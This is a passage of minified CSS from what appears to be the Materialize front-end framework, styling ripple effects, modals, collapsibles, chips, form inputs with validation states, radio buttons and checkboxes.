.waves-ripple{background-color:rgba(255,152,0,0.7)}.waves-effect.waves-purple .waves-ripple{background-color:rgba(156,39,176,0.7)}.waves-effect.waves-green .waves-ripple{background-color:rgba(76,175,80,0.7)}.waves-effect.waves-teal .waves-ripple{background-color:rgba(0,150,136,0.7)}.waves-effect input[type="button"],.waves-effect input[type="reset"],.waves-effect input[type="submit"]{border:0;font-style:normal;font-size:inherit;text-transform:inherit;background:none}.waves-effect img{position:relative;z-index:-1}.waves-notransition{-webkit-transition:none !important;transition:none !important}.waves-circle{-webkit-transform:translateZ(0);transform:translateZ(0);-webkit-mask-image:-webkit-radial-gradient(circle, white 100%, black 100%)}.waves-input-wrapper{border-radius:0.2em;vertical-align:bottom}.waves-input-wrapper .waves-button-input{position:relative;top:0;left:0;z-index:1}.waves-circle{text-align:center;width:2.5em;height:2.5em;line-height:2.5em;border-radius:50%;-webkit-mask-image:none}.waves-block{display:block}.waves-effect .waves-ripple{z-index:-1}.modal{display:none;position:fixed;left:0;right:0;background-color:#fafafa;padding:0;max-height:70%;width:55%;margin:auto;overflow-y:auto;border-radius:2px;will-change:top, opacity}.modal:focus{outline:none}@media only screen and (max-width: 992px){.modal{width:80%}}.modal h1,.modal h2,.modal h3,.modal h4{margin-top:0}.modal .modal-content{padding:24px}.modal .modal-close{cursor:pointer}.modal .modal-footer{border-radius:0 0 2px 2px;background-color:#fafafa;padding:4px 6px;height:56px;width:100%;text-align:right}.modal .modal-footer .btn,.modal .modal-footer .btn-large,.modal .modal-footer .btn-small,.modal .modal-footer .btn-flat{margin:6px 0}.modal-overlay{position:fixed;z-index:999;top:-25%;left:0;bottom:0;right:0;height:125%;width:100%;background:#000;display:none;will-change:opacity}.modal.modal-fixed-footer{padding:0;height:70%}.modal.modal-fixed-footer .modal-content{position:absolute;height:calc(100% - 56px);max-height:100%;width:100%;overflow-y:auto}.modal.modal-fixed-footer .modal-footer{border-top:1px solid rgba(0,0,0,0.1);position:absolute;bottom:0}.modal.bottom-sheet{top:auto;bottom:-100%;margin:0;width:100%;max-height:45%;border-radius:0;will-change:bottom, opacity}.collapsible{border-top:1px solid #ddd;border-right:1px solid #ddd;border-left:1px solid #ddd;margin:.5rem 0 1rem 0}.collapsible-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;cursor:pointer;-webkit-tap-highlight-color:transparent;line-height:1.5;padding:1rem;background-color:#fff;border-bottom:1px solid #ddd}.collapsible-header:focus{outline:0}.collapsible-header i{width:2rem;font-size:1.6rem;display:inline-block;text-align:center;margin-right:1rem}.keyboard-focused .collapsible-header:focus{background-color:#eee}.collapsible-body{display:none;border-bottom:1px solid #ddd;-webkit-box-sizing:border-box;box-sizing:border-box;padding:2rem}.sidenav .collapsible,.sidenav.fixed .collapsible{border:none;-webkit-box-shadow:none;box-shadow:none}.sidenav .collapsible li,.sidenav.fixed .collapsible li{padding:0}.sidenav .collapsible-header,.sidenav.fixed .collapsible-header{background-color:transparent;border:none;line-height:inherit;height:inherit;padding:0 16px}.sidenav .collapsible-header:hover,.sidenav.fixed .collapsible-header:hover{background-color:rgba(0,0,0,0.05)}.sidenav .collapsible-header i,.sidenav.fixed .collapsible-header i{line-height:inherit}.sidenav .collapsible-body,.sidenav.fixed .collapsible-body{border:0;background-color:#fff}.sidenav .collapsible-body li a,.sidenav.fixed .collapsible-body li a{padding:0 23.5px 0 31px}.collapsible.popout{border:none;-webkit-box-shadow:none;box-shadow:none}.collapsible.popout>li{-webkit-box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12);box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12);margin:0 24px;-webkit-transition:margin 0.35s cubic-bezier(0.25, 0.46, 0.45, 0.94);transition:margin 0.35s cubic-bezier(0.25, 0.46, 0.45, 0.94)}.collapsible.popout>li.active{-webkit-box-shadow:0 5px 11px 0 rgba(0,0,0,0.18),0 4px 15px 0 rgba(0,0,0,0.15);box-shadow:0 5px 11px 0 rgba(0,0,0,0.18),0 4px 15px 0 rgba(0,0,0,0.15);margin:16px 0}.chip{display:inline-block;height:32px;font-size:13px;font-weight:500;color:rgba(0,0,0,0.6);line-height:32px;padding:0 12px;border-radius:16px;background-color:#e4e4e4;margin-bottom:5px;margin-right:5px}.chip:focus{outline:none;background-color:#26a69a;color:#fff}.chip>img{float:left;margin:0 8px 0 -12px;height:32px;width:32px;border-radius:50%}.chip .close{cursor:pointer;float:right;font-size:16px;line-height:32px;padding-left:8px}.chips{border:none;border-bottom:1px solid #9e9e9e;-webkit-box-shadow:none;box-shadow:none;margin:0 0 8px 0;min-height:45px;outline:none;-webkit-transition:all .3s;transition:all .3s}.chips.focus{border-bottom:1px solid #26a69a;-webkit-box-shadow:0 1px 0 0 #26a69a;box-shadow:0 1px 0 0 #26a69a}.chips:hover{cursor:text}.chips .input{background:none;border:0;color:rgba(0,0,0,0.6);display:inline-block;font-size:16px;height:3rem;line-height:32px;outline:0;margin:0;padding:0 !important;width:120px !important}.chips .input:focus{border:0 !important;-webkit-box-shadow:none !important;box-shadow:none !important}.chips .autocomplete-content{margin-top:0;margin-bottom:0}.prefix ~ .chips{margin-left:3rem;width:92%;width:calc(100% - 3rem)}.chips:empty ~ label{font-size:0.8rem;-webkit-transform:translateY(-140%);transform:translateY(-140%)}.materialboxed{display:block;cursor:-webkit-zoom-in;cursor:zoom-in;position:relative;-webkit-transition:opacity .4s;transition:opacity .4s;-webkit-backface-visibility:hidden}.materialboxed:hover:not(.active){opacity:.8}.materialboxed.active{cursor:-webkit-zoom-out;cursor:zoom-out}#materialbox-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background-color:#292929;z-index:1000;will-change:opacity}.materialbox-caption{position:fixed;display:none;color:#fff;line-height:50px;bottom:0;left:0;width:100%;text-align:center;padding:0% 15%;height:50px;z-index:1000;-webkit-font-smoothing:antialiased}select:focus{outline:1px solid #c9f3ef}button:focus{outline:none;background-color:#2ab7a9}label{font-size:.8rem;color:#9e9e9e}::-webkit-input-placeholder{color:#d1d1d1}::-moz-placeholder{color:#d1d1d1}:-ms-input-placeholder{color:#d1d1d1}::-ms-input-placeholder{color:#d1d1d1}::placeholder{color:#d1d1d1}input:not([type]),input[type=text]:not(.browser-default),input[type=password]:not(.browser-default),input[type=email]:not(.browser-default),input[type=url]:not(.browser-default),input[type=time]:not(.browser-default),input[type=date]:not(.browser-default),input[type=datetime]:not(.browser-default),input[type=datetime-local]:not(.browser-default),input[type=tel]:not(.browser-default),input[type=number]:not(.browser-default),input[type=search]:not(.browser-default),textarea.materialize-textarea{background-color:transparent;border:none;border-bottom:1px solid #9e9e9e;border-radius:0;outline:none;height:3rem;width:100%;font-size:16px;margin:0 0 8px 0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-box-sizing:content-box;box-sizing:content-box;-webkit-transition:border .3s, -webkit-box-shadow .3s;transition:border .3s, -webkit-box-shadow .3s;transition:box-shadow .3s, border .3s;transition:box-shadow .3s, border .3s, -webkit-box-shadow .3s}input:not([type]):disabled,input:not([type])[readonly="readonly"],input[type=text]:not(.browser-default):disabled,input[type=text]:not(.browser-default)[readonly="readonly"],input[type=password]:not(.browser-default):disabled,input[type=password]:not(.browser-default)[readonly="readonly"],input[type=email]:not(.browser-default):disabled,input[type=email]:not(.browser-default)[readonly="readonly"],input[type=url]:not(.browser-default):disabled,input[type=url]:not(.browser-default)[readonly="readonly"],input[type=time]:not(.browser-default):disabled,input[type=time]:not(.browser-default)[readonly="readonly"],input[type=date]:not(.browser-default):disabled,input[type=date]:not(.browser-default)[readonly="readonly"],input[type=datetime]:not(.browser-default):disabled,input[type=datetime]:not(.browser-default)[readonly="readonly"],input[type=datetime-local]:not(.browser-default):disabled,input[type=datetime-local]:not(.browser-default)[readonly="readonly"],input[type=tel]:not(.browser-default):disabled,input[type=tel]:not(.browser-default)[readonly="readonly"],input[type=number]:not(.browser-default):disabled,input[type=number]:not(.browser-default)[readonly="readonly"],input[type=search]:not(.browser-default):disabled,input[type=search]:not(.browser-default)[readonly="readonly"],textarea.materialize-textarea:disabled,textarea.materialize-textarea[readonly="readonly"]{color:rgba(0,0,0,0.42);border-bottom:1px dotted rgba(0,0,0,0.42)}input:not([type]):disabled+label,input:not([type])[readonly="readonly"]+label,input[type=text]:not(.browser-default):disabled+label,input[type=text]:not(.browser-default)[readonly="readonly"]+label,input[type=password]:not(.browser-default):disabled+label,input[type=password]:not(.browser-default)[readonly="readonly"]+label,input[type=email]:not(.browser-default):disabled+label,input[type=email]:not(.browser-default)[readonly="readonly"]+label,input[type=url]:not(.browser-default):disabled+label,input[type=url]:not(.browser-default)[readonly="readonly"]+label,input[type=time]:not(.browser-default):disabled+label,input[type=time]:not(.browser-default)[readonly="readonly"]+label,input[type=date]:not(.browser-default):disabled+label,input[type=date]:not(.browser-default)[readonly="readonly"]+label,input[type=datetime]:not(.browser-default):disabled+label,input[type=datetime]:not(.browser-default)[readonly="readonly"]+label,input[type=datetime-local]:not(.browser-default):disabled+label,input[type=datetime-local]:not(.browser-default)[readonly="readonly"]+label,input[type=tel]:not(.browser-default):disabled+label,input[type=tel]:not(.browser-default)[readonly="readonly"]+label,input[type=number]:not(.browser-default):disabled+label,input[type=number]:not(.browser-default)[readonly="readonly"]+label,input[type=search]:not(.browser-default):disabled+label,input[type=search]:not(.browser-default)[readonly="readonly"]+label,textarea.materialize-textarea:disabled+label,textarea.materialize-textarea[readonly="readonly"]+label{color:rgba(0,0,0,0.42)}input:not([type]):focus:not([readonly]),input[type=text]:not(.browser-default):focus:not([readonly]),input[type=password]:not(.browser-default):focus:not([readonly]),input[type=email]:not(.browser-default):focus:not([readonly]),input[type=url]:not(.browser-default):focus:not([readonly]),input[type=time]:not(.browser-default):focus:not([readonly]),input[type=date]:not(.browser-default):focus:not([readonly]),input[type=datetime]:not(.browser-default):focus:not([readonly]),input[type=datetime-local]:not(.browser-default):focus:not([readonly]),input[type=tel]:not(.browser-default):focus:not([readonly]),input[type=number]:not(.browser-default):focus:not([readonly]),input[type=search]:not(.browser-default):focus:not([readonly]),textarea.materialize-textarea:focus:not([readonly]){border-bottom:1px solid #26a69a;-webkit-box-shadow:0 1px 0 0 #26a69a;box-shadow:0 1px 0 0 #26a69a}input:not([type]):focus:not([readonly])+label,input[type=text]:not(.browser-default):focus:not([readonly])+label,input[type=password]:not(.browser-default):focus:not([readonly])+label,input[type=email]:not(.browser-default):focus:not([readonly])+label,input[type=url]:not(.browser-default):focus:not([readonly])+label,input[type=time]:not(.browser-default):focus:not([readonly])+label,input[type=date]:not(.browser-default):focus:not([readonly])+label,input[type=datetime]:not(.browser-default):focus:not([readonly])+label,input[type=datetime-local]:not(.browser-default):focus:not([readonly])+label,input[type=tel]:not(.browser-default):focus:not([readonly])+label,input[type=number]:not(.browser-default):focus:not([readonly])+label,input[type=search]:not(.browser-default):focus:not([readonly])+label,textarea.materialize-textarea:focus:not([readonly])+label{color:#26a69a}input:not([type]):focus.valid ~ label,input[type=text]:not(.browser-default):focus.valid ~ label,input[type=password]:not(.browser-default):focus.valid ~ label,input[type=email]:not(.browser-default):focus.valid ~ label,input[type=url]:not(.browser-default):focus.valid ~ label,input[type=time]:not(.browser-default):focus.valid ~ label,input[type=date]:not(.browser-default):focus.valid ~ label,input[type=datetime]:not(.browser-default):focus.valid ~ label,input[type=datetime-local]:not(.browser-default):focus.valid ~ label,input[type=tel]:not(.browser-default):focus.valid ~ label,input[type=number]:not(.browser-default):focus.valid ~ label,input[type=search]:not(.browser-default):focus.valid ~ label,textarea.materialize-textarea:focus.valid ~ label{color:#4CAF50}input:not([type]):focus.invalid ~ label,input[type=text]:not(.browser-default):focus.invalid ~ label,input[type=password]:not(.browser-default):focus.invalid ~ label,input[type=email]:not(.browser-default):focus.invalid ~ label,input[type=url]:not(.browser-default):focus.invalid ~ label,input[type=time]:not(.browser-default):focus.invalid ~ label,input[type=date]:not(.browser-default):focus.invalid ~ label,input[type=datetime]:not(.browser-default):focus.invalid ~ label,input[type=datetime-local]:not(.browser-default):focus.invalid ~ label,input[type=tel]:not(.browser-default):focus.invalid ~ label,input[type=number]:not(.browser-default):focus.invalid ~ label,input[type=search]:not(.browser-default):focus.invalid ~ label,textarea.materialize-textarea:focus.invalid ~ label{color:#F44336}input:not([type]).validate+label,input[type=text]:not(.browser-default).validate+label,input[type=password]:not(.browser-default).validate+label,input[type=email]:not(.browser-default).validate+label,input[type=url]:not(.browser-default).validate+label,input[type=time]:not(.browser-default).validate+label,input[type=date]:not(.browser-default).validate+label,input[type=datetime]:not(.browser-default).validate+label,input[type=datetime-local]:not(.browser-default).validate+label,input[type=tel]:not(.browser-default).validate+label,input[type=number]:not(.browser-default).validate+label,input[type=search]:not(.browser-default).validate+label,textarea.materialize-textarea.validate+label{width:100%}input.valid:not([type]),input.valid:not([type]):focus,input.valid[type=text]:not(.browser-default),input.valid[type=text]:not(.browser-default):focus,input.valid[type=password]:not(.browser-default),input.valid[type=password]:not(.browser-default):focus,input.valid[type=email]:not(.browser-default),input.valid[type=email]:not(.browser-default):focus,input.valid[type=url]:not(.browser-default),input.valid[type=url]:not(.browser-default):focus,input.valid[type=time]:not(.browser-default),input.valid[type=time]:not(.browser-default):focus,input.valid[type=date]:not(.browser-default),input.valid[type=date]:not(.browser-default):focus,input.valid[type=datetime]:not(.browser-default),input.valid[type=datetime]:not(.browser-default):focus,input.valid[type=datetime-local]:not(.browser-default),input.valid[type=datetime-local]:not(.browser-default):focus,input.valid[type=tel]:not(.browser-default),input.valid[type=tel]:not(.browser-default):focus,input.valid[type=number]:not(.browser-default),input.valid[type=number]:not(.browser-default):focus,input.valid[type=search]:not(.browser-default),input.valid[type=search]:not(.browser-default):focus,textarea.materialize-textarea.valid,textarea.materialize-textarea.valid:focus,.select-wrapper.valid>input.select-dropdown{border-bottom:1px solid #4CAF50;-webkit-box-shadow:0 1px 0 0 #4CAF50;box-shadow:0 1px 0 0 #4CAF50}input.invalid:not([type]),input.invalid:not([type]):focus,input.invalid[type=text]:not(.browser-default),input.invalid[type=text]:not(.browser-default):focus,input.invalid[type=password]:not(.browser-default),input.invalid[type=password]:not(.browser-default):focus,input.invalid[type=email]:not(.browser-default),input.invalid[type=email]:not(.browser-default):focus,input.invalid[type=url]:not(.browser-default),input.invalid[type=url]:not(.browser-default):focus,input.invalid[type=time]:not(.browser-default),input.invalid[type=time]:not(.browser-default):focus,input.invalid[type=date]:not(.browser-default),input.invalid[type=date]:not(.browser-default):focus,input.invalid[type=datetime]:not(.browser-default),input.invalid[type=datetime]:not(.browser-default):focus,input.invalid[type=datetime-local]:not(.browser-default),input.invalid[type=datetime-local]:not(.browser-default):focus,input.invalid[type=tel]:not(.browser-default),input.invalid[type=tel]:not(.browser-default):focus,input.invalid[type=number]:not(.browser-default),input.invalid[type=number]:not(.browser-default):focus,input.invalid[type=search]:not(.browser-default),input.invalid[type=search]:not(.browser-default):focus,textarea.materialize-textarea.invalid,textarea.materialize-textarea.invalid:focus,.select-wrapper.invalid>input.select-dropdown,.select-wrapper.invalid>input.select-dropdown:focus{border-bottom:1px solid #F44336;-webkit-box-shadow:0 1px 0 0 #F44336;box-shadow:0 1px 0 0 #F44336}input:not([type]).valid ~ .helper-text[data-success],input:not([type]):focus.valid ~ .helper-text[data-success],input:not([type]).invalid ~ .helper-text[data-error],input:not([type]):focus.invalid ~ .helper-text[data-error],input[type=text]:not(.browser-default).valid ~ .helper-text[data-success],input[type=text]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=text]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=text]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=password]:not(.browser-default).valid ~ .helper-text[data-success],input[type=password]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=password]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=password]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=email]:not(.browser-default).valid ~ .helper-text[data-success],input[type=email]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=email]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=email]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=url]:not(.browser-default).valid ~ .helper-text[data-success],input[type=url]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=url]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=url]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=time]:not(.browser-default).valid ~ .helper-text[data-success],input[type=time]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=time]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=time]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=date]:not(.browser-default).valid ~ .helper-text[data-success],input[type=date]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=date]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=date]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=datetime]:not(.browser-default).valid ~ .helper-text[data-success],input[type=datetime]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=datetime]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=datetime]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=datetime-local]:not(.browser-default).valid ~ .helper-text[data-success],input[type=datetime-local]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=datetime-local]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=datetime-local]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=tel]:not(.browser-default).valid ~ .helper-text[data-success],input[type=tel]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=tel]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=tel]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=number]:not(.browser-default).valid ~ .helper-text[data-success],input[type=number]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=number]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=number]:not(.browser-default):focus.invalid ~ .helper-text[data-error],input[type=search]:not(.browser-default).valid ~ .helper-text[data-success],input[type=search]:not(.browser-default):focus.valid ~ .helper-text[data-success],input[type=search]:not(.browser-default).invalid ~ .helper-text[data-error],input[type=search]:not(.browser-default):focus.invalid ~ .helper-text[data-error],textarea.materialize-textarea.valid ~ .helper-text[data-success],textarea.materialize-textarea:focus.valid ~ .helper-text[data-success],textarea.materialize-textarea.invalid ~ .helper-text[data-error],textarea.materialize-textarea:focus.invalid ~ .helper-text[data-error],.select-wrapper.valid .helper-text[data-success],.select-wrapper.invalid ~ .helper-text[data-error]{color:transparent;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none}input:not([type]).valid ~ .helper-text:after,input:not([type]):focus.valid ~ .helper-text:after,input[type=text]:not(.browser-default).valid ~ .helper-text:after,input[type=text]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=password]:not(.browser-default).valid ~ .helper-text:after,input[type=password]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=email]:not(.browser-default).valid ~ .helper-text:after,input[type=email]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=url]:not(.browser-default).valid ~ .helper-text:after,input[type=url]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=time]:not(.browser-default).valid ~ .helper-text:after,input[type=time]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=date]:not(.browser-default).valid ~ .helper-text:after,input[type=date]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=datetime]:not(.browser-default).valid ~ .helper-text:after,input[type=datetime]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=datetime-local]:not(.browser-default).valid ~ .helper-text:after,input[type=datetime-local]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=tel]:not(.browser-default).valid ~ .helper-text:after,input[type=tel]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=number]:not(.browser-default).valid ~ .helper-text:after,input[type=number]:not(.browser-default):focus.valid ~ .helper-text:after,input[type=search]:not(.browser-default).valid ~ .helper-text:after,input[type=search]:not(.browser-default):focus.valid ~ .helper-text:after,textarea.materialize-textarea.valid ~ .helper-text:after,textarea.materialize-textarea:focus.valid ~ .helper-text:after,.select-wrapper.valid ~ .helper-text:after{content:attr(data-success);color:#4CAF50}input:not([type]).invalid ~ .helper-text:after,input:not([type]):focus.invalid ~ .helper-text:after,input[type=text]:not(.browser-default).invalid ~ .helper-text:after,input[type=text]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=password]:not(.browser-default).invalid ~ .helper-text:after,input[type=password]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=email]:not(.browser-default).invalid ~ .helper-text:after,input[type=email]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=url]:not(.browser-default).invalid ~ .helper-text:after,input[type=url]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=time]:not(.browser-default).invalid ~ .helper-text:after,input[type=time]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=date]:not(.browser-default).invalid ~ .helper-text:after,input[type=date]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=datetime]:not(.browser-default).invalid ~ .helper-text:after,input[type=datetime]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=datetime-local]:not(.browser-default).invalid ~ .helper-text:after,input[type=datetime-local]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=tel]:not(.browser-default).invalid ~ .helper-text:after,input[type=tel]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=number]:not(.browser-default).invalid ~ .helper-text:after,input[type=number]:not(.browser-default):focus.invalid ~ .helper-text:after,input[type=search]:not(.browser-default).invalid ~ .helper-text:after,input[type=search]:not(.browser-default):focus.invalid ~ .helper-text:after,textarea.materialize-textarea.invalid ~ .helper-text:after,textarea.materialize-textarea:focus.invalid ~ .helper-text:after,.select-wrapper.invalid ~ .helper-text:after{content:attr(data-error);color:#F44336}input:not([type])+label:after,input[type=text]:not(.browser-default)+label:after,input[type=password]:not(.browser-default)+label:after,input[type=email]:not(.browser-default)+label:after,input[type=url]:not(.browser-default)+label:after,input[type=time]:not(.browser-default)+label:after,input[type=date]:not(.browser-default)+label:after,input[type=datetime]:not(.browser-default)+label:after,input[type=datetime-local]:not(.browser-default)+label:after,input[type=tel]:not(.browser-default)+label:after,input[type=number]:not(.browser-default)+label:after,input[type=search]:not(.browser-default)+label:after,textarea.materialize-textarea+label:after,.select-wrapper+label:after{display:block;content:"";position:absolute;top:100%;left:0;opacity:0;-webkit-transition:.2s opacity ease-out, .2s color ease-out;transition:.2s opacity ease-out, .2s color ease-out}.input-field{position:relative;margin-top:1rem;margin-bottom:1rem}.input-field.inline{display:inline-block;vertical-align:middle;margin-left:5px}.input-field.inline input,.input-field.inline .select-dropdown{margin-bottom:1rem}.input-field.col label{left:.75rem}.input-field.col .prefix ~ label,.input-field.col .prefix ~ .validate ~ label{width:calc(100% - 3rem - 1.5rem)}.input-field>label{color:#9e9e9e;position:absolute;top:0;left:0;font-size:1rem;cursor:text;-webkit-transition:color .2s ease-out, -webkit-transform .2s ease-out;transition:color .2s ease-out, -webkit-transform .2s ease-out;transition:transform .2s ease-out, color .2s ease-out;transition:transform .2s ease-out, color .2s ease-out, -webkit-transform .2s ease-out;-webkit-transform-origin:0% 100%;transform-origin:0% 100%;text-align:initial;-webkit-transform:translateY(12px);transform:translateY(12px)}.input-field>label:not(.label-icon).active{-webkit-transform:translateY(-14px) scale(0.8);transform:translateY(-14px) scale(0.8);-webkit-transform-origin:0 0;transform-origin:0 0}.input-field>input[type]:-webkit-autofill:not(.browser-default):not([type="search"])+label,.input-field>input[type=date]:not(.browser-default)+label,.input-field>input[type=time]:not(.browser-default)+label{-webkit-transform:translateY(-14px) scale(0.8);transform:translateY(-14px) scale(0.8);-webkit-transform-origin:0 0;transform-origin:0 0}.input-field .helper-text{position:relative;min-height:18px;display:block;font-size:12px;color:rgba(0,0,0,0.54)}.input-field .helper-text::after{opacity:1;position:absolute;top:0;left:0}.input-field .prefix{position:absolute;width:3rem;font-size:2rem;-webkit-transition:color .2s;transition:color .2s;top:.5rem}.input-field .prefix.active{color:#26a69a}.input-field .prefix ~ input,.input-field .prefix ~ textarea,.input-field .prefix ~ label,.input-field .prefix ~ .validate ~ label,.input-field .prefix ~ .helper-text,.input-field .prefix ~ .autocomplete-content{margin-left:3rem;width:92%;width:calc(100% - 3rem)}.input-field .prefix ~ label{margin-left:3rem}@media only screen and (max-width: 992px){.input-field .prefix ~ input{width:86%;width:calc(100% - 3rem)}}@media only screen and (max-width: 600px){.input-field .prefix ~ input{width:80%;width:calc(100% - 3rem)}}.input-field input[type=search]{display:block;line-height:inherit;-webkit-transition:.3s background-color;transition:.3s background-color}.nav-wrapper .input-field input[type=search]{height:inherit;padding-left:4rem;width:calc(100% - 4rem);border:0;-webkit-box-shadow:none;box-shadow:none}.input-field input[type=search]:focus:not(.browser-default){background-color:#fff;border:0;-webkit-box-shadow:none;box-shadow:none;color:#444}.input-field input[type=search]:focus:not(.browser-default)+label i,.input-field input[type=search]:focus:not(.browser-default) ~ .mdi-navigation-close,.input-field input[type=search]:focus:not(.browser-default) ~ .material-icons{color:#444}.input-field input[type=search]+.label-icon{-webkit-transform:none;transform:none;left:1rem}.input-field input[type=search] ~ .mdi-navigation-close,.input-field input[type=search] ~ .material-icons{position:absolute;top:0;right:1rem;color:transparent;cursor:pointer;font-size:2rem;-webkit-transition:.3s color;transition:.3s color}textarea{width:100%;height:3rem;background-color:transparent}textarea.materialize-textarea{line-height:normal;overflow-y:hidden;padding:.8rem 0 .8rem 0;resize:none;min-height:3rem;-webkit-box-sizing:border-box;box-sizing:border-box}.hiddendiv{visibility:hidden;white-space:pre-wrap;word-wrap:break-word;overflow-wrap:break-word;padding-top:1.2rem;position:absolute;top:0;z-index:-1}.autocomplete-content li .highlight{color:#444}.autocomplete-content li img{height:40px;width:40px;margin:5px 15px}.character-counter{min-height:18px}[type="radio"]:not(:checked),[type="radio"]:checked{position:absolute;opacity:0;pointer-events:none}[type="radio"]:not(:checked)+span,[type="radio"]:checked+span{position:relative;padding-left:35px;cursor:pointer;display:inline-block;height:25px;line-height:25px;font-size:1rem;-webkit-transition:.28s ease;transition:.28s ease;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}[type="radio"]+span:before,[type="radio"]+span:after{content:'';position:absolute;left:0;top:0;margin:4px;width:16px;height:16px;z-index:0;-webkit-transition:.28s ease;transition:.28s ease}[type="radio"]:not(:checked)+span:before,[type="radio"]:not(:checked)+span:after,[type="radio"]:checked+span:before,[type="radio"]:checked+span:after,[type="radio"].with-gap:checked+span:before,[type="radio"].with-gap:checked+span:after{border-radius:50%}[type="radio"]:not(:checked)+span:before,[type="radio"]:not(:checked)+span:after{border:2px solid #5a5a5a}[type="radio"]:not(:checked)+span:after{-webkit-transform:scale(0);transform:scale(0)}[type="radio"]:checked+span:before{border:2px solid transparent}[type="radio"]:checked+span:after,[type="radio"].with-gap:checked+span:before,[type="radio"].with-gap:checked+span:after{border:2px solid #26a69a}[type="radio"]:checked+span:after,[type="radio"].with-gap:checked+span:after{background-color:#26a69a}[type="radio"]:checked+span:after{-webkit-transform:scale(1.02);transform:scale(1.02)}[type="radio"].with-gap:checked+span:after{-webkit-transform:scale(0.5);transform:scale(0.5)}[type="radio"].tabbed:focus+span:before{-webkit-box-shadow:0 0 0 10px rgba(0,0,0,0.1);box-shadow:0 0 0 10px rgba(0,0,0,0.1)}[type="radio"].with-gap:disabled:checked+span:before{border:2px solid rgba(0,0,0,0.42)}[type="radio"].with-gap:disabled:checked+span:after{border:none;background-color:rgba(0,0,0,0.42)}[type="radio"]:disabled:not(:checked)+span:before,[type="radio"]:disabled:checked+span:before{background-color:transparent;border-color:rgba(0,0,0,0.42)}[type="radio"]:disabled+span{color:rgba(0,0,0,0.42)}[type="radio"]:disabled:not(:checked)+span:before{border-color:rgba(0,0,0,0.42)}[type="radio"]:disabled:checked+span:after{background-color:rgba(0,0,0,0.42);border-color:#949494}[type="checkbox"]:not(:checked),[type="checkbox"]:checked{position:absolute;opacity:0;pointer-events:none}[type="checkbox"]+span:not(.lever){position:relative;padding-left:35px;cursor:pointer;display:inline-block;height:25px;line-height:25px;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}[type="checkbox"]+span:not(.lever):before,[type="checkbox"]:not(.filled-in)+span:not(.lever):after{content:'';position:absolute;top:0;left:0;width:18px;height:18px;z-index:0;border:2px solid #5a5a5a;border-radius:1px;margin-top:3px;-webkit-transition:.2s;transition:.2s}[type="checkbox"]:not(.filled-in)+span:not(.lever):after{border:0;-webkit-transform:scale(0);transform:scale(0)}[type="checkbox"]:not(:checked):disabled+span:not(.lever):before{border:none;background-color:rgba(0,0,0,0.42)}[type="checkbox"].tabbed:focus+span:not(.lever):after{-webkit-transform:scale(1);transform:scale(1);border:0;border-radius:50%;-webkit-box-shadow:0 0 0 10px rgba(0,0,0,0.1);box-shadow:0 0 0 10px rgba(0,0,0,0.1);background-color:rgba(0,0,0,0.1)}[type="checkbox"]:checked+span:not(.lever):before{top:-4px;left:-5px;width:12px;height:22px;border-top:2px solid transparent;border-left:2px solid transparent;border-right:2px solid #26a69a;border-bottom:2px solid #26a69a;-webkit-transform:rotate(40deg);transform:rotate(40deg);-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"]:checked:disabled+span:before{border-right:2px solid rgba(0,0,0,0.42);border-bottom:2px solid 